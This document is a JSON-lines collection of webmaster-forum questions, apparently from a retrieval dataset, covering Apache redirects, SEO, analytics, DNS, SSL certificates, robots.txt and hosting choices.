{"id":"5466","title":"Redirecting dynamic pages to static pages URL","text":"I decided to convert all my dynamic pages to static pages URLs. I used to have \"\/contactUS.php\" and now I want the page to be served as \"\/contact-us\". I used to following rule n .htaccess: RewriteRule ^contact-us contactUS.php [NC,L] It all works fine, but the problem is that I want to prevent entrance to \"\/contactUS.php\" to aviod duplicate content. Of course that adding the following rule: RewriteRule ^contactUS.php contact-us [NC,L] creates an infinite loop. What is the best way to achieve the goal, also taking SEO into account? * * * Edit: This causes an infinite loop: RewriteRule ^contact-us contactUS.php [NC,L] RewriteRule ^contactUS.php contact-us [NC,R=301]"}
{"id":"34129","title":"Where to find PHP version usage stats?","text":"My original question was: what percentage of sites are using php 5.4.x? (As it has some very interesting new features.) With secondary questions like how many of the cheap web hosting places have upgraded, which versions of the linux distros include it, etc. But I'm coming up blanks. http:\/\/php.net\/usage.php stops at July 2007, and the nexen.net website seems to have stopped in 2008. At SecuritySpace they only list the web servers, not php versions. The TIOBE link isn't what I'm after (it doesn't -- and couldn't -- break down by version number). I thought php.net might show download numbers, but I cannot see them anywhere. I kind of answered the distro question, but it requires a lot of clicking around at distrowatch.com. E.g. I see here that Ubuntu offers php 5.4.6 in the latest snapshot, but the latest release (Ubuntu 12.04) has 5.3.10."}
{"id":"57564","title":"Modern design for developers: getting started","text":"I've been working with web development since 2009 when I've learned HTML, CSS and PHP. By the time, I've also learned about the web standards and started working with them. Then some years ago I've started to work with a designer. He developed the website layout in Fireworks by the time and I was responsible for coding it. Today I've also learned ASP.NET and Javascript for the development of Single Page Apps, however the designer is not working with me anymore and I didn't find any other to deal with the layout of the websites and applications. Also, today it seems design has got more complex, because we have to think about responsive design, there are lots of devices and so on. So, my doubt is: what's a good away for a developer like me learn just the basics of design to be able to create layouts for web apps and websites that fits with the last trends? I really don't know where to start, because although I already know how to deal with Photoshop I know that this is very far from being enough to design well. I am looking for practiced procedures I can follow that will allow me to develop my design skills whilst making use of my current experience."}
{"id":"57562","title":"How do I optimize SEO in a multiblog WordPress install?","text":"We are about to launch two product pages plus a corporate website. The goal is to keep a blog in all of the sites, but here it comes the question about how to do it in a way we get everything unified but do not mess with Google's web crawlers. We considered the following options: * Putting a blog from which we retrieve two categories with custom CSS, so we have a blog that sub splits two category-dependent blogs; this way we can get the feeds and will point to it * Putting two product blogs of which we retrieve their posts into a bigger, corporate blog * Putting three independent blogs Despite I was for the first option, so we only have to address our content from the product pages, I would sincerely like to hear your opinion. We are afraid duplicate content or strange link games may make us lose PageRank. How would you do it?"}
{"id":"58333","title":"Will foreign content with rel=\"alternative\" hreflang affect my SEO ranking?","text":"I'm running an internationalized web service with user-created content (study notes). Most content is from Polish version, although we have younger Turkish and Russian versions too. Each version uses its own domain (let's say it's `polishversion.pl`, `turkishversion.com`, `russianversion.com`) and there is a language toggle available to switch the language of the interface (header, footer, menus), while of course content remains untranslated. This leads to repeated content - a given Polish study note exists on all 3 domains: * `polishversion.pl\/note\/123` - Polish interface + Polish content * `turkishversion.com\/note\/123` - Turkish interface + Polish content * `russianversion.com\/note\/123` - Russian interface + Polish content My first instinct was to add \"noindex, nofollow\" to the Turkish and Russian version of a Polish note, since in most cases it would be irrelevant for these audiences (but not always - probably study notes for a French as a foreign language course are relevant to all). Then I came accross `link rel=\"alternative\" hreflang`. According to this article: http:\/\/googlewebmastercentral.blogspot.com\/2010\/09\/unifying-content- under-multilingual.html I should be fine adding: <link rel=\"alternative\" hreflang=\"tr\" href=\"turkishversion.com\/note\/123\" \/> <link rel=\"alternative\" hreflang=\"ru\" href=\"russianversion.com\/note\/123\" \/> <link rel=\"alternative\" hreflang=\"pl\" href=\"polishversion.pl\/note\/123\" \/> to the Polish version of this note and: <link rel=\"canonical\" href=\"polishversion.pl\/note\/123\" \/> to both Turkish and Russian. I'm still having doubts though, whether this won't harm my Turkish and Russian version which have very little of their own content content yet. So the whole issue reduces to: **Is it better for the Turkish version's seo ranking to have:** * 100 000 pages indexed of which 99% are Polish content + Turkish interface (with a canonical link to Polish\/Polish) and only 1% are Turkish content + Turkish interface? * Only 1000 pages with Turkish content + Turkish interface indexed (and Polish notes never indexed with Turkish menu at all)?"}
{"id":"39189","title":"Sign up for Google Analytics without SMS verifcation","text":"Is there any way to sign up for a Google Analytics account without having to verify the account via an SMS code? You used to be able to verify via an email code, but this no longer appears to be an option."}
{"id":"67848","title":"SEO? Client worried about negative news story about his business at the top of Google search","text":"was hoping someone could answer a question about this, even though I'm sure the answer is bleak. I'm building a website for a client who has noticed that when you run a Google search for his name, the first result is an arguably negative story that was published by a local news outlet.He and I are wondering if there is any way to make that... disappear? Thanks all."}
{"id":"35382","title":".Museum Domain Name Registrar","text":"Anyone know of a reputable domain name company which deals in .museum domain names? Previously we had used DomainBank without much issue. DomainBank was bought by Dotster and am having nothing but trouble since the switch. Currently the website has been down for two days and it is a MAJOR issue. I know .museum is a seldom used domain name but I really need to switch to a reputable company. GoDaddy doesn't work with them unfortunately. Anyone know of a good company that does?"}
{"id":"7598","title":"Why would I need extra IP addresses from my web host?","text":"I am moving to a new and cheaper host. My old one raised the prices suddenly by a factor 10. Now what I did not like about the old one was that each time I set up a new website, I had to set up a new account. The result was that I have to pay for a lot of web space and a lot of bandwidth that I don't use. Now I am moving over to a new host, who cheaply offers virtual servers. Now I am a n00b when it comes to server tech. I have two questions about this: 1. Could I install all my websites on this virtual server, provided it is big enough? 2. They offer the possibility of getting more than one IP address, but it costs more. What would be the advantage of this? Would I be able to suffice with one IP address?"}
{"id":"9831","title":".htaccess RedirectMatch 301 issue","text":"I've moved my WordPress installation from one domain to another, and I want to use an .htaccess file on the original to redirect visitors to the new page on the new website. The old site is `http:\/\/www.steve.doig.com.au\/wordpress\/`. The new site is `http:\/\/www.superlogical.net` I tried using tried using the following .htaccess file in the \/wordpress directory: `RedirectMatch 301 http:\/\/www.steve.doig.com.au\/wordpress(.*) http:\/\/www.superlogical.net\/$1` However, all this does is redirect visitors to the URL: `http:\/\/www.superlogical.net\/wordpress\/` I guess this is working properly, but I don't have Wordpress installed in a \/wordpress folder on the new domain. How do I remove this from the URL redirected to? Thanks.."}
{"id":"9834","title":"Will having a new site affect my pageviews on websiteoutlook.com","text":"I am planning on launching a new version of my current company website. I have a lot of pageviews (measured through websiteoutlook.com). Will having the new site (with new pages) affect the pageviews, and therefore my search engine ranking? If yes, what can I do to preserve my search engine ranking? Thanks!"}
{"id":"59626","title":"Parts number and Google Site Search","text":"I am using Google Site Search on our site and am looking for a way to get our parts number to show on the results page when searched. For example, if a user searches _E23-457-123_ or _E45-65-322_ or _E11-23-567_ I want the page specifically about our _E_ part. I was considering using CSS and hiding a `<div>` but I can't seem to get them to show up in the search results. <div style=\"visibility: hidden\"> E23-457-123 E45-65-322 E11-23-567 <\/div> Is there a better way?"}
{"id":"58312","title":"Script to change profile avatars to round avatar","text":"I am trying to customize Vanilla Forum. I am trying to achieve a similar effect to what Google uses for their profile pictures. (Just like what is on the top-right of Google pages.)  I have seen this effect before in several discussion pages. I suspect it is a script that crops and adds effects (like shadow), then uploads the avatar into place."}
{"id":"29083","title":"how to deploy my jboss servlets to GoDaddy and make it available to my Android client?","text":"I have my web application running in jboss on my pc, accessible only in localhost. I have seen in sites like godaddy, they talk about giving a domain name to your site. My application only serves resources (it only contains servlets). It will only used to process the incoming data and send responses to my Android clients. So any domain name is fine, because no one will be visiting the domain from the browser. * Where is the mapping actually done? * Will I be able to use my pc itself as the server or will I have to deploy the application on godaddy's server? * So what are the steps I should take to make this web application be accessible on the internet?"}
{"id":"22573","title":"Help me make a cronjob\/screen command please?","text":"Hi guys I want to set up a cronjob on reboot to do this cd \/home\/admin\/vivalaminecraft.com && screen -d -m -S mcscreen && mono McMyAdmin.exe The issue is when I execute this it seems to create the screen but doesn't do the mono McMyAdmin.exe in the screen... Is there like a then command ? so it does 1. then 2. then 3. ? Could someone please help out :) So I tried this: so I did this: @reboot screen -dmS minecraft @reboot cd \/home\/admin\/vivalaminecraft.com @reboot mono McMyAdmin.exe It still doesn't work. The screen is created but it doesn't have the mono execution in it I put this in it #!\/bin\/bash screen -dmS minecraft; cd \/home\/admin\/vivalaminecraft.com; mono McMyAdmin.exe; is this correct?"}
{"id":"22575","title":"Moving blog to another host - what is the impact to SEO to be expected?","text":"I run a blog under `mywebsite.com\/blog`. This is a self-hosted Movable-type installation. Now I want to get rid of the blog installation and use a hosted ( **`WordPress.com`** ) solution instead. The blog is only a minor part of my website, but before making this change I want to make sure that I don't lose SEO value. What is the best option to make this change? Bonus question: how big is the SEO-impact of a subdirectory (`mywebsite.com\/news`) to the PageRank of the main domain (`mywebsite.com`)?"}
{"id":"61114","title":"NGINX URL Redirect - Configuration","text":"What should be the correct configuration , if i want to redirect any request for www.mydomain.com to www.mydomain.com\/page. I tried couple of options but always ended up in an redirect loop."}
{"id":"61115","title":"Google Webmaster Tool: “Severe health issues are found on your site”","text":"I just saw the \"Severe health issues are found on your site. Is robots.txt blocking important pages?\" message on Google Webmaster Tools. This is what I have in robots.txt: User-agent: * Allow: \/*?p= Allow: \/index.php\/blog\/ Allow: \/catalog\/seo_sitemap\/category\/ Allow: \/catalogsearch\/result\/ Allow: \/media\/ Disallow: \/404\/ Disallow: \/app\/ Disallow: \/cgi-bin\/ Disallow: \/downloader\/ Disallow: \/errors\/ Disallow: \/includes\/ Disallow: \/js\/ Disallow: \/lib\/ Disallow: \/magento\/ Disallow: \/pkginfo\/ Disallow: \/report\/ Disallow: \/scripts\/ Disallow: \/shell\/ Disallow: \/skin\/ Disallow: \/stats\/ Disallow: \/var\/ Disallow: \/contents\/ Disallow: \/contents\/fr\/ Disallow: \/index.php\/ Disallow: \/catalog\/product_compare\/ Disallow: \/catalog\/category\/view\/ Disallow: \/catalog\/product\/view\/ Disallow: \/catalogsearch\/ Disallow: \/checkout\/ Disallow: \/control\/ Disallow: \/contacts\/ Disallow: \/customer\/ Disallow: \/customize\/ Disallow: \/newsletter\/ Disallow: \/poll\/ Disallow: \/review\/ Disallow: \/sendfriend\/ Disallow: \/tag\/ Disallow: \/wishlist\/ Disallow: \/admin\/ Disallow: \/cron.php Disallow: \/cron.sh Disallow: \/error_log Disallow: \/install.php Disallow: \/LICENSE.html Disallow: \/LICENSE.txt Disallow: \/LICENSE_AFL.txt Disallow: \/STATUS.txt Disallow: \/*.js$ Disallow: \/*.css$ Disallow: \/*.php$ Disallow: \/*?p=*& Disallow: \/*?SID= Disallow: \/*?limit=all I copied this from Magento's default robots.txt and I added some folders that don't need to be indexed."}
{"id":"60144","title":"Which MIME type to compress? and what If I omit the `type` attribute from the HTML?","text":"Per my request, my webhost had turned mod_deflate ON. In my Cpanel I now have an \"Optimize Website\" button. Inside that menu I could either choose: \"Compress all content\" or \"Compress the specified MIME types\" with the following default MIME types: \"text\/html text\/plain text\/xml\" 1. Which option should I choose and why? 2. If I choose option 2, which types should I add (is there a recommended list with the exact way they should be written)? 3. According to Google recommendations, I have **omitted** the `type=\"text\/css\"` attributes from all CSS references, as well as the `type=\"text\/javascript\"` attributes from all script references. Would this hinder the \"gzipping\" process?"}
{"id":"61111","title":"Google Analytics - Do I track an info popup as pageview or event","text":"I have some popups on my page that provide that can be opened by the user to get more information. Should I track them as page view or as events? Whats the right way to go here?"}
{"id":"26402","title":"Setting up Gmail subdomain on my domain","text":"I just set up my domain with Google Apps. During the Gmail setup process the tutorial said we could also set up `mail.mydomain.com` and we'd look at it later. But it never came up. Now, I can't seem to find how to do it anywhere. Maybe I just don't know how exactly to search for it. Help ?"}
{"id":"26405","title":"Pointing domain away from google","text":"I've already asked this question on google apps support, didnt fet an answer yet, and I am in a bit of a hurry. Need to have that website up by monday. Question: We have a domain registered at 101domain, we used a domain just for google apps, for email, and some services, and domain was never used for website. Now we pointed domain to the local hosting service, set everything like it should be, and pointed back to google from hosting service for gmail and gmail works perfectly. Problem is that we tried to set up a website at hosting service but domain still points to google apps login. Everything looks like it should, we recently bought 2 more domains that are set up the same (we use google apps on them too), the only difference tha I can think of is that we didn't use for apps first. Could this be because CNAME lags behind DNS server change?"}
{"id":"34461","title":"way for teachers to post homework assignments","text":"What kind of product would work to provide a feature on a school website to allow teachers to post homework assignments and allow students \/ parents to quickly find the assignments by class and subject? I'm thinking wiki or cms but they don't seem to hit the mark completely. FYI I have VPS hosting so I can install whatever I want."}
{"id":"26409","title":"What is the best way to scan for a keyword in the URL?","text":"What is the best way to scan for a keyword in the URL? Eg. I want to find the words \"shirt\" in the URL."}
{"id":"50389","title":"Same URL rendering different content","text":"We have a CSS file hosted on cloudfront. Whenever the file is updated we add a version number to the file. We also have VPN in our office through which we connect to QA servers. Now a very peculiar thing is happening. When VPN tunnel is enabled and that CSS file link is hit from the browser I see updated file. But if I turn off VPN and hit the URL then I see previous version of the file. Though URLremains same for both times when I hit the URL. I'm not able to understand how VPN could affect loading the latest file version. I tried clearing cache from the browser but every time this is happening. Any ideas on this? What could be the problem."}
{"id":"55455","title":"Openfire and Imagick alternative for a shared hosting","text":"I've just finished a social network, and went for a shared hosting... (because that's what I can afford for now). I used Openfire(for XMPP private messages) and Imagick (for image resizing), but I found that I can't install them on a shared hosting. So I find myself with 2 options: 1. Go for a dedicated server (which I can't afford) 2. Use ajax for private messages (with less performance)... and re-size images using plain PHP... I'm very confused not knowing what to do at this stage. Do you think there is any other option??"}
{"id":"28131","title":"Is there any possibility somebody can down my search ranking?","text":"If my rival site decides to go unfair way to outrank mine they can do it? For example, like by linking mine to bad(?) sites or something? Because people often talk about SEO but I just started being worried if somebody can do the things contrary to SEO to my site."}
{"id":"32438","title":"why does Google Analytics show different top content results for URL and Page Title?","text":"in GA content>AllPages the default view shows the top pageviews by URL. Since my site does not have friendly URLs I prefer to view by page title, but when I click to change the view instead of showing the same pages by top pageviews it shows completely different pages. I want it to simply switch to the title of the same pages instead of the URL, why would the top pageviews be different based on URL and title?"}
{"id":"28138","title":"Is it possible to view all previously issued SSL certificates for a particular domain?","text":"If we wanted to know if a particular domain has had SSL certificates issued to it by CAs in the past, that are now revoked\/expired, is there is a resource that has that information?"}
{"id":"38920","title":"My domain is well indexed but only in my country","text":"This is my domain: http:\/\/yon.ir and it mainly should be shown in search results with the keyword \"کوتاه کننده لینک\" If you search from Iran it is shown in Google's search results with rank 13 (with that keyword) which is logical but with IPs of other countries, it's not shown even in the first 10 Google result pages. The domain is indexed and when I search the whole domain title, it shows up my site on the first page. It's been like this for about 10 days and the domain is not new. It was working with its previous owner before. So, what's the problem here?"}
{"id":"48598","title":"Does I need to put meta tags in Search page of my E-commerce website?","text":"In my E-commerce website I got a product page.where I want to implement Meta- keywords,Meta-Description,etc.. I am a little confused about the task now.Is it necessary to do these things in search page? If yes what would be the best strategy to be used for this task?"}
{"id":"54734","title":"Will Google treat this JavaScript code as a bad practice?","text":"I have a website that provides a custom UX experience implemented via JavaScript. When JavaScript is disabled in the browser the website falls back to CSS for the layout. To make this possible I've added a `noJS` class to the `<body>` and quickly remove it via JavaScript. <body class=\"noJS layout-wide\"> <script type=\"text\/javascript\">var b=document.getElementById(\"body\");b.className=b.className.replace(\"noJS\",\"\");<\/script> This caused a problem when the page loads and JavaScript is enabled. The body immediately has it's `noJS` class removed, and this causes the layout to appear messed up until the JavaScript code for layout is executed (at bottom of the page). To solve this I hide each article via JavaScript by adding a CSS class `fix` which is `display:none` as each article is loaded. <article id=\"q-3217\">....<\/article> <script type=\"text\/javascript\">var b=document.getElementById(\"q-3217\");b.className=b.className+\" fix\";<\/script> After the page is ready I show all the articles in the correct layout. I've read many times in Google's documentation not to _hide_ content. So I'm worried that the Google will penalize my website for doing this."}
{"id":"22796","title":"Are paid salon listings worthwihile?","text":"Are paid salon listings worthwhile (for seo)?"}
{"id":"22791","title":"Serious Googlebot crawl spike using up a ton of bandwidth","text":"One of the sites I maintain has seen Googlebot use 23gb of bandwidth this month. This seems utterly mental to me, what can I do about it? I have reduced the crawl rate on webmaster tools, and edited the _robots.txt_ , submitted a sitemap. A serious spike like this feels like a hack, could Googlebot be spoofed?"}
{"id":"56189","title":"Search engines that index your site despite a disallow in robots.txt","text":"Recently, WordPress changed their options from \"Block search engines\" to \"Discourage search engines\"  So that leaves me wondering, that rewording must be that some search engines disregard your decision about indexing or not your website. Is there a list of those somewhere?"}
{"id":"56188","title":"What happens if two people at the same host claim ownership of a domain?","text":"I have all my domains registered through company A and they are hosted through company B. I set my nameservers at company A to point to dns.companyB.com and everything works great. But couldn't somebody else with an account through company B also try to claim ownership in their control panel? Is it first-come first-served?"}
{"id":"35526","title":"How can I view localized versions of my site?","text":"We are adding internationalization to our site. We are getting the client's IP address from the headers and looking it up against the IP2location database to get the client's country. Several of our clients reported seeing a blank page over the weekend. We'd like to be able to get screenshots or use a browser from many different countries on an ongoing basis for testing code changes. I need to know what the site looks like when accessed from various countries since there are several elements that vary by country. I've used Tor and Vidalia, along with the Tor customized Firefox browser however it appears the CSS is getting mangled. I have also used http:\/\/webpagetest.org to check the site, however the screenshot it gives is too small to be really useful. Is there a site or a service I can use to get screenshots or interact with my website from various countries?"}
{"id":"31866","title":"Active Directory auto login to website for domain users","text":"I am putting together an Intranet for a company - I have set up authentication to get into the Intranet from a login box linked to AD via LDAP\/ However the client wants (if possible) to have users automatically authenticate into the intranet if they are logged into the domain. AD and IIS7.5 are on separate servers (in the same network). I believe that I need to use WindowsAuthentication to do this - but will that work? as the web server is not part of the domain: do I need to tell IIS where the AD server is? The next part could be more complex: once the user has authenticated, I need to drag user details from AD about the user, I guess with LDAP, however I will need to know the user's username in order to do this, won't I? as the user hast had to type this in, how do I get that? The intranet site is in asp.net 4 VB."}
{"id":"35522","title":"How to extract AdWords keywords from incoming traffic?","text":"I have a landing page in which I need to understand what keywords are coming in from AdWords and then display some information based on this. I am not certain, but I don't believe that this information is in the request header the same as normal query keywords would be. How can you ascertain this information and properly strip out the inbound AdWords keywords so as to use meaningfully?"}
{"id":"35521","title":"webmaster tools 500 crawl error for asp faceted navigation that does not exist","text":"I am getting around 2,500 type 500 URL errors in Google webmaster tools. These pages are faceted navigation results that can not be reached by a site visitor. These pages do not exist. We are using faceted navigation with the Volusion platform (asp.net, I think). I have specified URL parameters in webmaster tools so that Google will not try to index anything faceted. This does not stop the errors from generating. I am concerned about how this might effect SEO (bleeding page rank). I can provide additional information if needed. I am not sure how to solve this. I have started down the path of creating 301's, but having some difficulty there as well."}
{"id":"63617","title":"Can we 301 redirect to a new page, but still publish the old content somewhere else?","text":"We have a page on the site which ranks well for an SEO term (top 5) but contains old information. We have added a new page but Google doesn't rank it that well. Information on these pages is time sensitive. * Old: `example.com\/2013-related-information.html` * New: `example.com\/2014-related-information.html` Obvious solution is to delete old page and do a 301 redirect to the new page. Now, can we still keep the old page by giving it a new URL. 1. `example.com\/2013-related-information.html` is redirected to `example.com\/2014-related-information.html` 2. `example.com\/2014-related-information.html` is recreated with a new address such as `example.com\/new-2013-related-information.html` What we are trying to do is to send the user to the fresh page but still not destroying the record copy if someone wants to go and dig up the old information."}
{"id":"58482","title":"Filtering content from response body HTML (mod_security or other WAFs)","text":"We have Apache on Linux with mod_security as the Web App Firewall (WAF) layer. To prevent content injections, we have some rules that basically disable a page containing some text patterns from showing up at all. For example, if an HTML page on webserver has slur words (because some webmaster may have copied\/pasted text without proofreading) the Apache server throws a 406 error. Our requirement now is a little different: we would like to _show_ the page as regular 200, but if such a pattern is matched, we want to strip out the offending content. Not block the entire page. If we had a server side technology we could easily code for this, but sadly this is for a website with 1000s of static html pages. Another solution might have been to do a cronjob of find\/replace strings and run them on folders en-masse, maybe, but we don't have access to the file system in this case (different department). We do have control over WAF or Apache rules if any. Any pointers or creative ideas?"}
{"id":"38855","title":"Pointing .co.uk, .org & .info to main .com domain","text":"I have a client who has multiple domains .co.uk, .org and .info and would like to point them to the main .com domain name. They have changed the nameservers of the .co.uk, .org and .info domains. Can anyone point me in the right direction?"}
{"id":"55230","title":"Redirect www to non-www using Apache htaccess does not work","text":"I have this in my _.htaccess_ (modified from the default Drupal _.htaccess_ ): RewriteCond %{HTTP_HOST} ^www\\.website.com\\.com$ [NC] RewriteRule ^(.*)$ http:\/\/website.com\/$1 [L,R=301] In theory this will redirect something like `http:\/\/www.website.com\/asdf` to `http:\/\/website.com\/asdf`. However, it doesn't redirect, it allows requests to go through like there was no redirect intended. (I'm on OS X if it matters, but I've also tried it on a Network Solutions Linux server with the same result.)"}
{"id":"49353","title":"rel=\"nofollow\" being removed with javascript, why?","text":"I was looking through the blog comments of an Alexa top 20,000 site, and I noticed something odd: when a comment is viewed in the source (or in Firebug with JS turned OFF) the author's name is written like this: <cite class=\"fn\"><a href='http:\/\/example.co.uk' rel='external nofollow' class='url'>Example<\/a><\/cite> What they are doing here is they have a static list of comments cached, using the HTML above, but when the page is loaded with JS, it AJAX calls a database of comments (the same as the static cached comments) but when it loads (it takes about 10 seconds) the same comments are written as below (this time viewed in Firebug with JS turned ON) <p class=\"idc-i\"><a href=\"http:\/\/example.co.uk\"> Example <\/a><em class=\"idc-time\"><\/p> To be clear this is the **EXACT** same part of the page with the exact same comment below (not shown in these examples), the only part I've changed in the above code is changing the link and anchor tag to example. Any idea why they would want to do this? Which version of the code would a search bot see, as I believe they now process JS when the scrape a page? * * * _I don't really want to disclose the name of the site as I fear it will be spammed if it is indeed allowing to follow blog comments on such a high profile site._"}
{"id":"51755","title":"htaccess only works for one","text":"I currently use the following htaccess code to remove php extensions and also allow the \/index.php page to load without the word \"index\": RewriteRule ^$ index.php [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME}.php -f RewriteRule ^(.+[^\/])$ $1.php [L] I used to create a new page for every single user but as one could probably see, this is not such a good idea. So i deleted all the user pages and i would include them a different way but i would need to pass the requested page as a get parameter to another file. So I decided to route every main level (\/) requested page through a file in a different directory, like so: RewriteRule ^([^\/]+)$ some\/page.php?requested_page=$1 [L,QSA,NC] But it does not work with the \/index.php page if someone just requested it like this: \/ i changed the code to: RewriteRule ^(<?!)([^\/]+)$ some\/page.php?requested_page=$1 [L,QSA,NC] and now the \"\/\" request works and any page that really exist works, but the \"fake user pages\" now dont work. is there way i can do both?"}
{"id":"16148","title":"Which is the appropriate content-type meta tag value?","text":"I have a question about the meta tag content-type. When starting to build my site (HTML+PHP+JS), I copied a lot of the meta tags over from elsewhere, and I have, amongst others, the following: <meta http-equiv=\"content-type\" content=\"application\/xhtml+xml; charset=iso-8859-1\" \/> Now, I've seen that tag is being used a lot with the value \"text\/html\". I've been searching the web but could not find a comprehensive explanation regarding what the difference between both is. The \"text\/html\" intuitively sounds more straightforward to me. Should I change my tag to that, or might the \"application\/xhtml+xml\" be an equivalent solution ? Alternatively, can anyone point me to a resource where the different values for these tags are listed and explained in a clear manner? Thanks in advance"}
{"id":"19664","title":"what to do with temporarily unused domains?","text":"I registered a couple of domains, and consider buying a few more, simply because I'm afraid they would be taken by someone else and I plan to create websites for them in the distant future. Right now they point to the information page of my registrar. Could I put them to better use for the time being without much hassle? Is it worth creating very minimal domain-related content and hosting it? Would that help SEO in the future or the contrary? Is there a chance of getting some adverts for a website stub, so that I could generate some income towards hosting costs?"}
{"id":"51960","title":"Will Search engines hate refreshing a webpage with random content after a specific time period?","text":"I have hundreds of my own articles in my website. At the moment I am displaying random article topics on my home page. Since the content is random, if a visitor refreshes the page then the page loads with new random content. So I decided to automatically refresh the page after a specific time period. I got to know that search engines like Google hate automatically refreshing pages. As my intention is to display random content for visitors, and most of the time page loads with different content, will that cause me to be banned from Google or any other search engine?"}
{"id":"51203","title":"How to deal with browser compatibility with HTML5 and CSS3?","text":"Well, I've been reading about the new features of HTML5 and CSS3 since 2011, however, I still find myself a little preoccupied in using those features because of people using old browsers (or worse, old versions of I.E). The point is: there are lots of things that HTML5 and CSS3 make much easier than without it, however, I don't know how to deal with this issue, so I have been postponing the use of those technologies until today. I know there are tools like Modernizr that allows us to detect whether some resource is available or not, but it seems that the work is them doubled and so I would be losing productivity. Since I would use the new features to simplify the development and gain time and quality, it would seem a little bit strange to do the work twice: once in a pleasant way, and another time in trying to fit browsers and so on. One example is the border-radius feature: while with some few lines of CSS we can make rounded corners, if we accept to do the alternative version it would require all that work with images and so on. I mainly feel preoccupied because there are people out there using I.E 7 or I.E 8, or old versions of Firefox and all, and then when this people access some of my websites it's possible that he\/she thinks \"oh my god, this developer is terrible!\", and so, if the person was likely to contact me to buy a website for the his company, or if the person was likely to buy a personal website, this will not happen, and it's just because of the version of the browser. Also, I get preoccupied with the websites of my customers, in the sense that since I'm selling them a marketing tool, it can bring bad results if the website doesn't look nice or functional just because of browser issues (if someone uses an old browser, it's likely that this person has no knowledge how it influences the websites). So, how we should deal with this kind of situation today? Use new features from HTML5 and CSS3, verify the browser and alert the user to update it? Make two versions of each feature, one with HTML5 and CSS3 and an alternative one to support old browsers?"}
{"id":"16140","title":"How to make users arrive at site through the home page","text":"A client has requested that all site visitors arrive to internal pages via the home page. At present a lot of visitors are hitting internal pages directly from google search results. Are there any techniques for channeling users ? Apologies if this is a stupid question."}
{"id":"52408","title":"Plural vs singular word in URL and title tag","text":"Please advise which is better for a page with multiple property listings: website.com\/apartments-to-let\/area vs website.com\/apartment-to-let-area Isn't the plural better since it is an accurate description of what is on the page? Singular versions of my search terms have higher traffic."}
{"id":"52409","title":"FTP many images from one server to another server in fastest way","text":"I have many images in my server and I want transfer my data to another server. I want combine those files to one file and then FTP. I am using 7-zip with \"store\" option to make one file, but it is very slow. Is there any fast solution?"}
{"id":"17540","title":"Starting an online e-commerce business","text":"I was asked by a friend from Singapore to setup an online e-commerce website. I am new to e-commerce. Based on what I've read, in order to process credit card payment, I will need a merchant account with a bank. The initial setup fees is rather high and have to commit a large amount to transaction every month. This is no good for a newly start up business. The other option is to use third Party Payment Service such as PayPal or WorldPay. This Sounds like an ideal solution but the problem is it would take a long time to process the payment and actually get the money. Further more Paypal has a really bad reputation nowadays and not to mention about the high transaction cost rate. I am wondering if there's any other cost effective\/free solution for such newly startup business?"}
{"id":"17542","title":"Forwarded\/custom domain names and SSL","text":"Assume I have a website that offers a web-based service to companies: myservice.com Each company has a subdomain wildcarded via mod_rewrite: client1.myservice.com (This is typical of many companies e.g. Wufoo) My site has a wildcard SSL certificate for *.myservice.com, allowing clients to connect to their account securely. As an option, clients can re-point their domain name to my website by changing the A record: www.client1.com > client1.myservice.com (as is possible at Tumblr) Is it possible to still offer SSL security on the forwarding domain, so that www.client1.com (pointing to client1.myservice.com) is secured over HTTPS? Either by: 1. Extending my certificate to cover the clients' domain 2. Somehow allowing the client to upload a certificate to be hosted on my server 3. Any other method? I've done some work with SSL certificates in the past and don't think this is possible. Can anyone prove me wrong? Thanks, Adam"}
{"id":"17232","title":"Using Excerpts as Meta Descriptions?","text":"I have been blogging from the past three years. And one thing that I didn't care about was to add Meta Description for every page. I was, unfortunately, fallen for the \"Google doesn't care about Meta Descriptions\" trap, and recently did I realize that adding a short, concise description wouldn't hurt. Plus this would bring in greater visibility\/CTR from the Search Engine Result Pages. Now, I have around 1000 pages of content spread across my site. I was looking for a plugin -- as my site is hosted on WordPress -- that could help me bulk edit\/add Meta Descriptions. I couldn't find any; however there is plugin which promised to mass edit MD, but the thing is, because I use Yoast SEO Plugin, I can use this plugin to mass edit excerpts -- not MD. I asked the author of the plugin if it's alright to replace MD with excerpts, and he said no: http:\/\/foliovision.com\/seo-tools\/wordpress\/plugins\/foliopress- descriptions So, is replacing the Meta Description string with Excerpts a bad idea? Any help is highly appreciated."}
{"id":"17546","title":"If all content is on a single page and hidden\/shown with JS would it make sense to use hashbangs?","text":"I have a page where the general structure is <a href=\"#section1\">section 1<\/a> <a href=\"#section2\">section 2<\/a> <a href=\"#section3\">section 3<\/a> <a href=\"#section4\">section 4<\/a> <section id=\"section1\"> <h1>section 1<\/h1> <p>some content<\/p> <\/section> <section id=\"section2\"> <h1>section 2<\/h1> <p>some content<\/p> <\/section> <section id=\"section3\"> <h1>section 3<\/h1> <p>some content<\/p> <\/section> <section id=\"section4\"> <h1>section 4<\/h1> <p>some content<\/p> <\/section> (there are about 10 sections all with quite a bit more content and have missed out alot of the surrounding html but this is the basic structure). All the content is on one page and clearly seperated semantically and the page relies on javascript to choose which sections to hide \/ show. I am wondering whether from an SEO perspective it would be good to use #! links and implement http:\/\/code.google.com\/web\/ajaxcrawling\/ returning only the content for each section? Would this mean that the site no longer functioned without javascript? If the '!' was added in using javascript would google pick this up or would they use the raw html? Or will google index the content on the page correctly (ie ignore the javascript completely)?"}
{"id":"17547","title":"How can I use my domain name to map into my Amazon EC2's public IP?","text":"How to put my registered domain name into DNS server? Is there any DNS server available in this world?"}
{"id":"60538","title":"Does masking a subfolder with .htaccess have a negative effect on SEO?","text":"My website is physically located at `example.com\/websitedirectory`. I am masking the folder so that the document root folder is redirected to `\/websitedirectory` and the folder is masked, so that it displays as `example.com` from the outside. Does this have any impact on SEO?"}
{"id":"22930","title":"Simple content managment","text":"I need to setup a content management system for a school to manage news items and bulletins. These bulletins would have to be placed into a number of different categories (Sport, Academic, etc.). The backend of it would have to be used by some not very technically capable teachers. A front end is not required, only an RSS feed to be fed into existing applications. I was thinking about using Wordpress, is there anything else?"}
{"id":"51961","title":"How to make Google index my website logo?","text":"In my website I have embedded my logo like this: <a href=\"\/\"> <img src=\"\/media\/56920\/ks_small.jpg\" alt=\"MysiteName_Logo\"> <\/a> My problem is that Google is not indexing this image - when I search for my website name in Google Images my logo doesn't show as a result. What can I do to overcome this?"}
